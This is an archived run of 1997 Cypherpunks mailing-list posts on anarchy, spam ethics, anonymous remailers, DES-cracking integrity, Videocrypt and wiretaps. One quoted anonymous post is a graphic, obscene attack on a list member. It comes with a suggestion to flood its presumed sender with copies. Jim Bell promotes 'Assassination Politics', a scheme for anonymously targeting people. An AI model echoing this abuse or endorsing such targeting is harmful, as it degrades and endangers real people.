freedoms, but conveniently forget the web laws that protect your 
benefactor.  As they say, integrity is everything -- once you can 
fake that you've got it made.

> As for Kent Crispin's remark that he chooses not to use the "esoteric"
> definition of anarchy that the anarchist community, and economists
> (actually), and others use, and prefers his "Toastmaster's Club" hoary
> recitation of a simple dictionary definition, well, this is why I'm
> becoming convinced that "Kent Crispin" is just a new identity David
> Sternlight has adopted.

How remarkably clever of you.  A fine example of the insight for 
which you are so renown.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From sunder at brainlink.com  Wed May 14 16:19:49 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 15 May 1997 07:19:49 +0800
Subject: Information request
In-Reply-To: <337A39D9.303F@dataet.com>
Message-ID: 


Wheee! so we stopped creating crappy cyphers and moved on to web page 
creation? Bwahahahahhahahahahahahhahaha!  Getting out of the crypto 
business was a good move.  Good luck to you in your trying to learn HTML.


On Wed, 14 May 1997, DataET Research wrote:

> Hi,
> 
> If you are interested in having a high-quality, but extensively
> inexpensive, Web site designed for you, your r�sum�, or your company,
> visit http://www.dataet.com or contact info at dataet.com immediately, and
> request for additional information and/or a free cost and time
> estimation.
> 
> Thanks for your time. We hope to hear from you soon.
> 
> Regards,
> 
> DataET Research
> Data Engineering Technologies
> 
> info at dataet.com
> http://www.dataet.com
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From 3umoelle at informatik.uni-hamburg.de  Wed May 14 16:33:56 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 15 May 1997 07:33:56 +0800
Subject: DES challenge news (fwd)
Message-ID: 


Distributed key cracking efforts have been discussed in detail on
cypherpunks and coderpunks for quite some time.  A Swedish group
trying to solve RSADSI's DES challenge chose to ignore the results.
Here is what they got (from RISKS 19.14):

>Date: Mon, 12 May 1997 17:56:54 +0200 (MET DST)
>From: Thomas Koenig 
>Subject: DES challenge news

You may remember RISKS-19.09, in which I discussed the risks in a
network-wide attack on the RSA DES challenge: The Swedish group at
http://www.des.sollentuna.se/ didn't give out its source, so the client
could, in fact, do anything, such as crack a master EC-card key.  The reason
given was client integrity.

Well, a month after this, the promised source code release has not happened.
Instead, it appears that somebody disassembled part of the client, made a
version that reported fake "done" blocks, and then sent these to the
servers.

Moral?  Don't ever think that nobody can read compiled code.  Don't try to
run a cooperative effort like this in a closed development model.

Thomas Koenig, Thomas.Koenig at ciw.uni-karlsruhe.de, ig25 at dkauni2.bitnet.

------------------------------








From rwright at adnetsol.com  Wed May 14 16:50:31 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Thu, 15 May 1997 07:50:31 +0800
Subject: Spam IS Free Speech
Message-ID: <199705142339.QAA23731@adnetsol.adnetsol.com>


On or About 14 May 97 at 14:57, Rick Osborne wrote:

> Ross Wright wrote:
> 
> >You can not retaliate against free speech, Rick.  That's a bad
> >thing, plain and simple, black and white.
>
> with him on this.  I've got only a minor problem with Sanford
> sending spam (it being unsolicited and all), I'm just saying that I
> should not be denied the right to spam him right back.

You can spam him back, but with just as many megs as he sends you.  
Match him meg for meg, not 10,000 megs for 1 meg.

I have a unique way of dealing with spammers.  I set up a list of the 
e-mail addresses of the spammers.  Each time a new spammer spams me, 
I send him a copy of the addresses, telling him "I am not interested 
in your product or service, but my associates will be. Here's their 
addresses."  Then I add him to the list, and so on.  This way the 
spammers are spamming each other.  Poetic Justice.  And no harm done.
 
> Do you see my point?  It's all in
> whether or not it's *solicited*.
>  Simply having an email address, to me, is *not* an invitation for
>  everyone
> in the world to send me mail to it.

Well, if you publish it on a website it *is* free game.
 
> >What's your problem with your 'delete' key?
> 
> Nothing.  Like I said: I've got filters.  I'm just saying that I
> shouldn't have to use them (in a perfect world), as all "spam" I get
> should be solicited.

No perfect world here.  Hell the deep dark secret that everyone 
glosses over is the fact that advertisers are using years of 
behavioral analysis to better market to us.  That's the real 
conspiracy.
>
> >By now, everyone knows that any of those things are as good as
> >giving away your e-mail address [...] it's an open invitation for
> >me to send you advertisements, just like the yellow pages.
> 
> Nope, you're getting confused here.  Giving my email address is akin
> to the *white* pages, while asking for spam is the *yellow* pages. 

I agree that the gathering of e-mail address from usenet and from 
mailing lists is a bad thing.  *But*  if you have a web page, you 
have a yellowpages ad.

> If I were to put my phone number in the white pages of the local
> phone book (which I don't), it would be so that someone who has a
> *need* to contact me could. If I wanted people calling me for no
> reason, I'd put an ad in the yellow pages.  See what I'm saying?

Right, but you see what I am saying about a web page being a yellow 
pages ad, right?
 
> >You have the right to make some snotty reply, but no right
> >to intentionally harm.
> 
> Aha!  There's the rub!  If I'm paying for my connect time, then spam
> *is* harmful.

Please, a few megs between cyber-clients?  No harm no foul.  You get 
more megs of crap just from this list!  I'd bet real money on that!
 
> >Rick, what if someone decided they did not like an opinion 
> >you expressed on this list and did the same thing to you?
> 
> Did what?  Set up a robot to flame me?  I'd hope they at least had
> the guts to not do it anonymously, but I can't fault them for not
> liking me.

Set up a robot to send you megs and megs of crap, just for one 
e-mail, that's what I am saying.  You wouldn't like that very much!
 
> >You, nor anyone else, has a right to lash out at 
> >someone for something they say or some ad they send you.
> 
> So why then do I not have the right to lash out at them in return?

You do.  One for one.  Mano a mano.  No more, no less.

 > >No one has a right to retaliate, get it?  First Amendment?  I
> >didn't read in there the right to get back at some poor
> >advertisers, did you?
> 
> So you're saying that if I came along and dropped a few billion
> pamphlets for a campaign of mine on your house.
> *intentionally* cause the problems, I am in the clear?  Give me a
> break.

But, you see, they send the pamphlets to a few billion addresses, not 
just to your house.  Apples and oranges.
 
> >Free Speech : Good      Mail Bombs : Bad
> 
> Spam = Mail Bomb = Arp attack.  No essential difference.  Why isn't
> a mail bomb or arp attack proctected by your idealized free speech?

Spam is not equal to an arp attack or a mail bomb.  One letter to one 
address is quite different than 10,000 letters to one address.

> >Are you a self centred ass, who's personal feelings are more
> >important that the Constitution?
> 
> Yes, I am a self-centered ass. 

Me too, by the way.  An opinionated one, as well.

> No, my feelings are not more
> important than the Constitution, my feelings help *make* the
> Constitution, remember?  It's moot, anyway, as I'm not advocating
> removing free speech.

No you are advocating harming others who are speeking freely.

> >You could be doing so much more with your time.
> 
> True.  And I could be doing *more* with my time if I didn't have to
> spend it setting up spam filters!
> 
> >No war, no battles, no skirmishes, no need for "Anti-Spam Laws".
> 
> I agree.  I'm not asking for any laws, just the right to annoy
> spammers just as much as they annoy me.  Why can't I do that?  If I
> decide to spam them, not our of retribution, but as an exercise of
> my right to free speech, then how is it any different?

Again, I say:  One Meg Per One Meg.  Equal and fair.
 
> >Just be nice, and everything will work out for the best.
> 
> You're more optimistic than I. 

Well, I just hope that this dosen't get carried away, that's all.  
Match them meg for meg that you personally receive, and everything 
really will be OK.  And if we keep the government out of it.

> It must be nice to not be cynical.

It's just an act.  I am pretty jaded.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From vznuri at netcom.com  Wed May 14 17:25:47 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Thu, 15 May 1997 08:25:47 +0800
Subject: microstock market
Message-ID: <199705150015.RAA27036@netcom22.netcom.com>



ultimately what cyberspace does in many ways is decrease
the "granularity" of economic transactions.

you can imagine that an economic transaction has an overhead
cost associatd with it needed to manage the bureacracy of
the cash transfer. the army of people that have to support
check passing, such as the mailman, bankers, etc., the people
in the company that have to open envelopes and punch
keys, etc. ad infinitum.

these vast teams/roles of people are going to vaporize to move
into other aspects of the economy. increasingly, the overhead
of an economic transaction will move toward the infinitesmal.
this radically changes many business models.

consider the stock market for example. you have a situation
where it doesn' t make sense for a company to be traded on
the stock market except after some threshhold has been reached.
I suspect this threshhold is due directly to economics that
could radically change in the near future (say a decade).

what I suspect this might mean is not merely new kinds of
stock markets, but a massive plethora of new forums in which
business can be transacted in cyberspace. I think we are
going to see many new stock exchanges as the capital moves
towards the ones that most efficiently handle it. and 

increasingly, I think you will see very small companies have
stocks. you will also see a much better means by which an
investor can judge the value of a company. the assets will
be more open and thoroughly revealed on public web sites
of the company. increasingly the outsider will be able
to "peer into" a company for investment or business 
purposes. the companies with the most open policies are 
going to be those most favored by their customers.

what would be neat is if one could invest in very small
companies or ideas. I suspect our economy is moving
in exactly this direction.

also in addition to this, I suspect that regulations 
governing stock transactions are going to be challenged
and increasingly melt away in the long run. the open market
will find its own ways of guaranteeing the safety of its
transactions that will make government interference
only draining or damaging.

so you can imagine that our economy of today is like moving
around big boulders-- you need a lot of people and organization
to create economic transactions. in the future, transactions
are going to decrease in granularity and you will have
a system more like the flow of electricity throughout an
entire system.

the revolutionary implications of cyberspace have barely
begun to be uncovered. ultimately it will radically change
the nature of our economics and government systems just
as the introduction of the printing press did in its
time.







From ichudov at algebra.com  Wed May 14 17:32:18 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 15 May 1997 08:32:18 +0800
Subject: Information request
In-Reply-To: <337A39D9.303F@dataet.com>
Message-ID: <199705150003.TAA00901@manifold.algebra.com>


Dear Mr. Ramos,

Have you lied about your intention to release the source code
for your encryption program?

I still hope that you are a decent person and will release the
algorithm that DataET Research used in it encryption program.

	- Igor.

DataET Research wrote:
> 
> Hi,
> 
> If you are interested in having a high-quality, but extensively
> inexpensive, Web site designed for you, your r�sum�, or your company,
> visit http://www.dataet.com or contact info at dataet.com immediately, and
> request for additional information and/or a free cost and time
> estimation.
> 
> Thanks for your time. We hope to hear from you soon.
> 
> Regards,
> 
> DataET Research
> Data Engineering Technologies
> 
> info at dataet.com
> http://www.dataet.com
> 



	- Igor.






From kent at songbird.com  Wed May 14 17:33:26 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 15 May 1997 08:33:26 +0800
Subject: Rwanda and "anarchy"
In-Reply-To: <337A3314.1B990EE4@disposable.com>
Message-ID: <19970514172033.01446@bywater.songbird.com>


On Wed, May 14, 1997 at 02:48:04PM -0700, Rich Graves wrote:
> Kent Crispin wrote:
> > On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> > > Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> > > not any kind of anarchy such as any of us have ever advocated. Rather,
> > > Rwanda was a near-textbook example of one tribal faction (Hutus or
> > > Tutsis) coming to power and inititiating a pogrom against the rival
> > > faction (Tutsis or Hutus).
> > > 
> > > Calling this an "anarchy" is comparable to calling the pogrom by the
> > > Third Reich against Jews, gypsies, cripples, and others an example of
> > > anarchy.
> > 
> > Nonsense.
> > 
> > "anarchy n. the absence of government or control, resulting in 
> > lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> > 
> > Which part of that would you say didn't apply to Rwanda? 
> 
> I would say "none." Tim is essentially correct. Ironically, we know he's
> correct thanks to the United Nations and Judge Goldstein's International
> Criminal Tribunal, which Tim would oppose. (The answer to bad government
> is more government?)
> 
> Jean-Marie Higiro was Rwanda's Minister of Telecommunications. He saw
> the radio turn into a tool of totalitarian propaganda. The killings were
> encouraged and organized by the government. He was there.
> 
> Lindsey Hilsum was the only English-speaking reporter in Rwanda when the
> killings started. She described the situation as "anarchy" because she
> did not understand the language or the political situation. She later
> retracted that story, and spent several more months in Rwanda and
> Burundi documenting what really happened. She eventually testified 
> before the ICT on what she saw. I think she's a really cool person.
> 
> Raymond Bonner joined Lindsey in Rwanda later. You might recognize his
> name -- he's the guy who was fired by the New York Times because the
> Reagan Administration didn't like his reporting on human rights
> violations in El Salvador.
> 
> Gilles Peress is a French photojournalist who documented the genocide in
> Rwanda both for himself and for the ICT.
> 
> I met these folks and browsed the relevant documentation, recordings,
> and photos on April 11th. I believe them when they say it was planned.

It appears you have better data than I.  Still, even if it was
planned, there appeared to be a widespread breakdown of civil
authority.  I remember reading an interview with a woman who killed
her neighbors children -- that interview could have been faked, of
course, but I find it hard to categorize her behavior as part of a
government plan.

> Blaming it on "evil government," though, is ludicrous. There was quite a
> lot more going on.
> 
> If you want to look at anarchic chaos, try, maybe, Albania, or Los
> Angeles
> after the Rodney King verdict. But even in those cases, the violence had
> specific targets for specific reasons. It wasn't unstructured anarchy,
> and it didn't last long. For all the press, there were few deaths in
> either case.
> 
> > In fact, the correlation between anarchy and war is very strong, for
> > obvious reasons. Perhaps that is why most intelligent people don't
> > consider anarchy a desirable state of affairs.
> 
> There is no such thing as anarchy, and there never will be.

I actually view this statement is strong support for my point of view,
so I hate to argue against it.  And certainly anarchy in the sense of 
"crypto-anarchy" is just an oxymoron.

But I could raise a semantic quibble or two...I think that anarchy (in
the sense of a breakdown of civil authority) is actually relatively
common in wartime.  The fact that there may be higher level plans or
strategy by governments does not mean those governments are in
control. 

Human beings are fundamentally social/political creatures, and their
behavior is always conditioned by their social/political environment. 
It is my impression that when the "anarchists" on the list refer to
"government" they mean something more than the general
social/political environment every human lives within.  I personally
cannot discern a clear dividing line between "government" and
"society". 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From lucifer at dhp.com  Wed May 14 17:45:02 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 08:45:02 +0800
Subject: OTP
Message-ID: <199705150028.UAA32507@dhp.com>


Timmy May's reheated, refurbished, and regurgitated cud is completely 
inappropriate for the mailing lists into which it is cross-ruminated.

           \|/
        /~~~~~~~\
       |  O   O  |
   -ooo-----U-----ooo- Timmy May






From shamrock at netcom.com  Wed May 14 18:21:55 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 15 May 1997 09:21:55 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: 


On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?

Net.myths
 
> Do they really trust the owner of the remailer? (Unless of course, it is
their remailer?) I seem to be missing something. 

You are missing the fact that you can chain remailers. Therefore it is 
pretty much irrelevant if some remailers are compromised.


Then again, I know several remailer operators personally. Which makes me 
less worried about the them being foreign intelligence agents.

-- Lucky Green  PGP encrypted mail preferred







From wombat at mcfeely.bsfs.org  Wed May 14 18:25:57 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Thu, 15 May 1997 09:25:57 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: 




On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?

Chain enough emailers run by rival foreign intelligence servers together, 
and you've got fairly good privacy(tm).  ;)







From jya at pipeline.com  Wed May 14 18:37:35 1997
From: jya at pipeline.com (John Young)
Date: Thu, 15 May 1997 09:37:35 +0800
Subject: The E-Bomb
Message-ID: <1.5.4.32.19970515011615.0098f1b8@pop.pipeline.com>


Dave Emery has pointed to an article, "The E-Bomb - 
a Weapon of Electrical Mass Destruction," which
describes the work being done on EMP weapons.

The piece is at Infowar.com, but we've borrowed
a copy to put at:

   http://jya.com/ebomb.htm  (93K + excellent diagrams)

It may help explain that unearthly blast in the Aussie
Outback discussed here a few weeks ago. Someone 
suggested HAARP as an explanation, and another hinted 
at other godawful research being done that similar to what 
the genius Tesla was doing early in the century to 
shatter the planet and fry the sky, and now, it seems, 
coming true.









From jya at pipeline.com  Wed May 14 19:05:49 1997
From: jya at pipeline.com (John Young)
Date: Thu, 15 May 1997 10:05:49 +0800
Subject: BXA Docs
Message-ID: <1.5.4.32.19970515014554.009c41b8@pop.pipeline.com>


BXA has published two short crypto-related docs, 
both dated May 8, 1997.

William Reinsch's testimony on Goodlatte's bill:

   http://jya.com/bxa050897.htm

Press release on Reinsch's ABA talk about the 
new regulations for financial transactions:

   http://jya.com/bxa050897-2.htm







From dlv at bwalk.dm.com  Wed May 14 19:09:39 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 15 May 1997 10:09:39 +0800
Subject: Enough of this shit already!
In-Reply-To: 
Message-ID: 


Bill Frantz  writes:

> At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:
>
> >Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> >doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> >ones that IMHO come from Vulis, the ones to which Graham replies, the
> >anonymous ones that reply to Graham, the permutations of them that
> >spam Toto, and these.  :(
>
> IMHO these spams are the reason people have been leaving the list, not the
> political discussions (Perry excepted).

Good. People who can't set up a mail filter don't belong on a technical list.

> >Hell, the nice bomb making spam too is also a bitch being posted here.
> >One could give the poster the benefit of the doubt, but it smells quite
> >of the tactics used by the Postal fiends that mail child porno to an
> >unsuspecting citizen unit, then arrest that citizen unit upon receipt.
>
> Note that the bomb making information has revealed nothing more than what a
> good encyclopedia should have.  To go from explosives information to bomb
> making recipes requires a good deal more information, e.g. about safety.

It should be posted, but perhaps not on this list. bombpunks?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From stokely at beacondesign.com  Wed May 14 19:33:54 1997
From: stokely at beacondesign.com (Stokely Boast)
Date: Thu, 15 May 1997 10:33:54 +0800
Subject: Enough of this shit already!
In-Reply-To: 
Message-ID: 


On Wed, 14 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Bill Frantz  writes:
> 
> > At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:
> >
> > >Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> > >doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> > >ones that IMHO come from Vulis, the ones to which Graham replies, the
> > >anonymous ones that reply to Graham, the permutations of them that
> > >spam Toto, and these.  :(
> >
> > IMHO these spams are the reason people have been leaving the list, not the
> > political discussions (Perry excepted).
> 
> Good. People who can't set up a mail filter don't belong on a technical list.
> 

As many people before me have pointed out, this is not a list (nor should
it be one) which is subscribed to only by 'technical' people. 

> It should be posted, but perhaps not on this list. bombpunks?
> 

Set up some ML software on reliable server and I'll subscribe.

-------------------------------------------------------------------------
Stokely Boast                                    stokely at beacondesign.com
Client/Server and RDBMS Consulting                Beacon Design Group Inc
PGP Id/Print: 5FD48D11 / B2 49 6C 7D 18 AC CA FB  0E 17 E5 97 6C 11 6C E7
-------------------------------------------------------------------------






From jehorton at erols.com  Wed May 14 19:42:04 1997
From: jehorton at erols.com (John Horton)
Date: Thu, 15 May 1997 10:42:04 +0800
Subject: 96 Wiretap Report
In-Reply-To: <199705140202.VAA11766@mailhub.amaranth.com>
Message-ID: <337A710F.18DB@erols.com>


William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <1.5.4.32.19970514012608.008ff084 at pop.pipeline.com>, on 05/13/97 at
> 07:26 PM,
>    John Young  said:
> 
> >We offer the text and three summary tables of the
> >U.S. Courts "1996 Wiretap Report" at:
> 
> >   http://jya.com/96wiretap.htm  (36K)
> 
> I noticed in the summary report that e-mail interceps were used. Is their
> more detailed information on this? I would be intrested to know how
> involved the govenment is becoming involved in this area. Of great intrest
> would be the location and means used to do such taps.

Don't know specifically where the taps are, but there is a major network
access point (NAP) in Reston or Maclean VA.  There are other NAPs
located domestically. Some urls to look (by no means inclusive) that
will provide NAP information are:

	www.ra.net
	nic.merit.edu/ipma
	www.rsng.net/naps.html
	www.mfsdatanet.com/MAE/doc/mae-info.html


> 
> Thanks again for providing a wealth of information,
> 
> - --
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> 
> Finger whgiii at amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
> 
> Tag-O-Matic: Windows: From the people who brought you EDLIN!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM3ksMo9Co1n+aLhhAQEJuQP/eI6H5ZvlCgiDfFgocpyXX+crj+q84XXY
> aPEJEXYXGhAF/Vp1HywbjU0HxyufmSCBKaU5h74dSLPGSThaicRQSILMwU7q9fzL
> 2scmwLwpsxv1P5VIaWiOiGLtYp+7CcPzd/lHEgPeyA+81VBkcBsdH41P4tywEH7Z
> dCKTFNi9dh0=
> =OBuw
> -----END PGP SIGNATURE-----






From take at barrier-free.co.jp  Wed May 14 19:45:12 1997
From: take at barrier-free.co.jp (Hayashi_Tsuyoshi)
Date: Thu, 15 May 1997 10:45:12 +0800
Subject: Videocrypt/Videocrypt2 any cryptanalytic results?
In-Reply-To: <199705141828.LAA08796@fat.doobie.com>
Message-ID: <199705150230.LAA13987@ns.barrier-free.co.jp>


On Wed, 14 May 1997 11:28:27 -0700, nobody at huge.cajones.com said:
 >Has any progress been made in cryptanalysing the algorithms used in the 
 >european Videocrypt and Videocrypt2 standards used to encrypt satellite 
 >broadcasts?

http://www.lysator.liu.se/~zino/crypt/vcrypt.html
http://joule.pcl.ox.ac.uk/~mark/sat/vid.html

 >Particularly, is there any information I can obtain about the protocols, 
 >the data communicated between the decoder and card, and the algorithm itself.

http://www.lysator.liu.se/~zino/crypt/details.txt
  Title: Some technical details about Videocrypt
  By Markus Kuhn -- 1994-08-02

# I have no more info.

///hayashi






From real at freenet.edmonton.ab.ca  Wed May 14 19:45:41 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 15 May 1997 10:45:41 +0800
Subject: Quadratic residues
In-Reply-To: <199705141118.EAA21038@fat.doobie.com>
Message-ID: 


On Wed, 14 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim May's mother attempted to pro-choice the unwanted 
> little bastard by fishing with a coat hanger in her giant 
> cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little 
> Timmy's fetal cranium (not much to begin with).
> 
>        (_) _____ (_)
>           /O   O\   Tim May
>          !   I   !
>          ! \___/ !
>           \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From jimbell at pacifier.com  Wed May 14 20:47:41 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 15 May 1997 11:47:41 +0800
Subject: Rwanda and "anarchy"
Message-ID: <199705150242.TAA02162@mail.pacifier.com>


At 14:48 5/14/97 -0700, Rich Graves wrote:
>Kent Crispin wrote:
>> In fact, the correlation between anarchy and war is very strong, for
>> obvious reasons. Perhaps that is why most intelligent people don't
>> consider anarchy a desirable state of affairs.
>
>There is no such thing as anarchy, and there never will be.

I think it's at least a little tacky for you to ignore recent work which may
have already shown your claim to be false.  

For the rest of you out there, I suggest that you check out AP part 9.

There are excellent reasons that people considered true anarchy to be
unattainable, because it was considered fundamentally unstable.  Even I
believed that, before 1995.  Now, I've changed my opinion, and for good
reason.    Anarchy becomes stable if the population can anonymously target
those who threaten danger to the rest.  AP will do exactly this, so anarchy
will become stable.


Jim Bell
jimbell at pacifier.com






From nobody at REPLAY.COM  Wed May 14 20:58:28 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 15 May 1997 11:58:28 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <199705150241.EAA25822@basement.replay.com>



Yes, you are missing a lot.  The bit about foreign inteligence agencies is
almost certainly a canard created by one Strassman at a conference in
Boston 2 years ago, then retracted.  Anyway, if you use chaining, it's
irrelevant.

See 


http://www.law.miami.edu/~froomkin/articles/ocean.htm
 and

http://www.law.miami.edu/~froomkin/articles/arbitr.htm


for the gory details.

Note that I use a remailer beacause this group may be gatewayed to Usenet
and I am trying to keep down the spam...

On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?
> 
> Do they really trust the owner of the remailer? (Unless of course, it is their remailer?)  I seem to be missing something.
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From ravage at einstein.ssz.com  Wed May 14 20:59:39 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 15 May 1997 11:59:39 +0800
Subject: update.321 (fwd)
Message-ID: <199705150246.VAA28144@einstein.ssz.com>


Forwarded message:
>From physnews at aip.org Wed May 14 13:21:46 1997
Date: Wed, 14 May 97 10:24:01 EDT
From: physnews at aip.org (AIP listserver)
Message-Id: <9705141424.AA09540 at aip.org>
To: physnews-mailing at aip.org
Subject: update.321


PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 321 May 13, 1997   by Phillip F. Schewe and Ben Stein

A PHOTON CONVEYOR BELT has been created using sound
waves and lasers, bringing about a new method for processing and
storing light signals on a chip.  In some opto-electronic devices it
is desirable to delay or store an optically-encoded message by
dispatching it down kilometer-long fiber cul-de-sacs.  In a device
developed at the University of Munich, the delay can be
accomplished more compactly by first converting the light into a
splash of excitons (electron-hole pairs) which propagate at a more
leisurely pace, the electrons and holes surfing along on different
parts of a guiding acoustic wave.  Later the electron-hole pairs
recombine into photons, which are read out at the other end of the
sample.  In effect the signal has been converted from a speed-of-
light wave into a speed-of-sound wave, and back again.  This
technique is also a way of prolonging the lifetime of excitons,
which typically live for mere nanoseconds before recombining; in
this experiment they have now been preserved for microseconds.
(C.  Rocke et al., Physical Review Letters, 19 May 1997; contact
Achim Wixforth, Achim.Wixforth @physik.uni-muenchen.de;
animation at www.aip.org/physnews/graphics)

THE QUANTUM WAVEFUNCTION OF A MATTER WAVE,
the complete mathematical description of a quantum system, has
been experimentally reconstructed for the first time.   Trapping a
single beryllium ion in electric fields, Dietrich Leibfried and his
colleagues at NIST created a state in which the ion has exactly one
quantum of vibrational energy. Determining the wavefunction,
which contains all the knowable information about this system, is
difficult because the uncertainty principle says that measuring its
position alters its momentum and vice versa.   But by preparing the
same quantum state 500,000 times and making a different
measurement each time, the researchers sidestepped this limitation
and reconstructed piecemeal the probability for the ion to have
certain values of position and momentum.  Known as the Wigner
function, this "quasiprobability" distribution can be mathematically
transformed into an average quantum wavefunction for the system
which, the researchers argue, is nearly identical to the actual
wavefunction. The NIST researchers were the first to measure
negative Wigner function values for certain coordinates of position
and momentum--something that can only happen for quantum
systems; this reflects the fact that the system can exist in many
states simultaneously. (Physical Review Letters, 18 November
1996.)   Subsequently, physicists at the University of Konstanz in
Germany measured the Wigner function of a matter wave traveling
in free space--a helium atom traversing a pair of slits.  (Nature, 13
March; also Science News, March 15.)

PHYSICISTS ARE 46 YEARS OLD AND MAKE $65,000 A
YEAR.  These are median values for a PhD physicist in  the U.S.
in 1996.  Those who work at federal labs made the most (median 
$78,500), even more than in industry (median $77,000); those at 
4-year colleges made the least, with a median of $49,200. 
Geographically, median salaries ranged from $70,000 (Pacific
states) to $56,200 (East South Central). New PhD's earn $31,000
at universties and $39,600 at federal labs.  Salaries for female
physicists who have earned the PhD in the past 10 years are
comparable to salaries for male physicists with similar experience
("Society Membership Survey: Salaries 1996," a report issued in
April by the AIP Education and Employment Statistics Division;
contact Ray Chu, rchu at aip.org)






From jimbell at pacifier.com  Wed May 14 21:08:22 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 15 May 1997 12:08:22 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
Message-ID: <199705150242.TAA02169@mail.pacifier.com>


At 14:27 5/14/97 -0700, Kent Crispin wrote:
>On Wed, May 14, 1997 at 03:07:43PM -0400, Tom Allard wrote:

>> How pedantic.  Webster's New World Dictionary (also reputable, I might add),
>> has THIS to say about "Anarchy":
>> 
>>   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>>   2. political disorder and violence 3. disorder; confusion
>> 
>> Note the etymology.  Taken to its roots, the word simply means "no leader".
>
>Note the second definition.

A definition which it included because of years of misuse.  It is said that
language is a living thing, which it is, which means that if an error is
made frequently enough it becomes the truth.  

Most of us understand this concept.


Jim Bell
jimbell at pacifier.com






